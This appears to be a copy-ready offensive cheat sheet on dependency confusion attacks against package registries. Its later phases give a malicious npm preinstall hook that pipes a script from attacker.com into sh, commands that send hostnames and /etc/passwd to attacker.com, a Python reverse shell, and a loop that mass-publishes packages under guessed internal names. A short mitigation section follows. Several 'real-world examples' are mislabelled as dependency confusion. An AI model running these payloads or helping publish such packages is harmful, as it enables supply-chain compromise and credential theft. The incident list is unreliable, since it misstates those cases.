Dependency Confusion
Attackers upload malicious packages with internal-sounding names to public registries, tricking builds into pulling the malicious package.
11 Categories40+ CommandsCopy Ready
Phase 1
Introduction
1Attackers upload packages with internal-sounding names to public registries
Dependency Confusion = tricking builds into pulling malicious packages2Core mechanism: Name confusion between private and public registries
Internal package names guessed/leaked + public upload = compromise3All package managers with public+private registry support are vulnerable
Affects: npm, PyPI, Maven, RubyGems, NuGet, Go modules4Complete practical guide by CoffinXP
Video Reference: https://youtu.be/LEFikziGL6s?si=i3qxpTus7I3qnp7uPhase 2
How Dependency Confusion Works
1Step 1: Identify target's internal package naming convention
#1: Company uses internal package: @company/internal-utils2Step 2: Upload malicious package with same name to public registry
#2: Attacker uploads @company/internal-utils to npmjs.com3Step 3: Package manager checks public registry before private
#3: Build system checks npmjs.com FIRST (default behavior)4Step 4: Compromise! Malicious code executes during npm install
#4: Malicious package gets installed instead of internal onePhase 3
Finding Internal Package Names
1GitHub dorking for internal package references
site:github.com "company/internal-" OR "@company/" OR "internal-package"2Search for dependency files with internal packages
site:github.com "package.json" OR "requirements.txt" OR "pom.xml" "internal"3Find leaked package names in pastes and gists
site:pastebin.com OR site:gist.github.com "@company/" OR "internal.utils"4Scan with Nuclei dependency confusion templates
nuclei -u https://target.com -t dependencies --tags dependency-confusionPhase 4
Testing for Dependency Confusion
1Test if package exists publicly (dry-run won't actually install)
npm install @company/internal-utils --dry-run2Python: Check if package exists on PyPI
pip install internal-utils --dry-run 2>&1 | grep "Could not find"3Ruby: Test if gem exists publicly
gem install internal-utils --dry-run4Maven: Check if artifact exists in public repos
mvn dependency:resolve -Dartifact=com.company:internal-utils:1.0Phase 5
Creating Malicious Packages
1npm: Initialize package with target's scope
npm init --scope=@company --yes2npm: Add preinstall script that executes malicious code
echo '{"scripts": {"preinstall": "curl attacker.com/payload.sh | sh"}}' > package.json3npm: Publish malicious package to public registry
npm publish --registry https://registry.npmjs.com/4PyPI: Create and upload malicious Python package
python3 setup.py sdist && python3 -m twine upload dist/*Phase 6
Malicious Payloads
1Simple: Exfiltrate hostname and username via curl
curl https://attacker.com/$(hostname)/$(whoami)2Medium: Exfiltrate /etc/passwd contents
bash -c "curl -X POST https://attacker.com/$(cat /etc/passwd)"3Advanced: Reverse shell in Python payload
python3 -c "import socket,subprocess;s=socket.socket();s.connect(("attacker.com",4444));subprocess.call(["/bin/sh","-i"],stdin=s,stdout=s,stderr=s)"4Persistence: Add attacker-controlled repo (Linux/RPM)
echo "malicious-package=v1.0" >> /etc/yum.repos.d/internal.repoPhase 7
Automation Tools
1Mass upload: Iterate through list of guessed internal names
for pkg in $(cat internal-names.txt); do npm publish --registry https://registry.npmjs.com/ $pkg; done2Scan multiple targets with Nuclei templates
nuclei -l dependency-confusion.yaml -o results.txt3Find references to package managers in subdomains
subfinder -d target.com | httpx-toolkit -silent | grep -i "npm\|pip\|maven"Phase 8
Real-World Examples
12018: event-stream compromised, affected millions of users
Event-Stream (npm): Malicious package with 3.6M weekly downloads22018: Attacker uploaded eslint-scope to npm
ESLint-scope (npm): Typosquatting + Dependency Confusion hybrid32021: browsealoud package mimicked browsertaloud
BrowseAloud (PyPI): 400k+ downloads of malicious package42021: CodeCov bash uploader compromise affected many orgs
CodeCov (multiple): Supply chain attack via dependency confusionPhase 9
Mitigation & Prevention
1npm: Force @company/* packages to use private registry
#1: Use .npmrc with scoped registry configuration2npm: Configure scoped registry for internal packages
echo "@company:registry=https://registry.company.com/" >> .npmrc3Always commit lockfiles and verify integrity hashes
#2: Enable package-lock.json / Pipfile.lock verification4npm install --ignore-scripts (prevents preinstall/postinstall execution)
#3: Use --ignore-scripts flag during install (defense in depth)5Set up alerts when someone uploads packages matching your naming convention
#4: Monitor public registries for your package names6Maintain internal mirror with vetted packages only
#5: Use internal mirror of public packages (air-gapped)Tools
Tools & Resources
Nuclei Dependency Confusion Template
Ready-to-use Nuclei template for detection
CoffinXP Dependency Confusion Video
Complete practical guide with examples
npm-scope-check
Check npm scoped package configuration
OWASP Dependency Check
Tool for detecting known vulnerable dependencies
Snyk
Commercial tool for supply chain security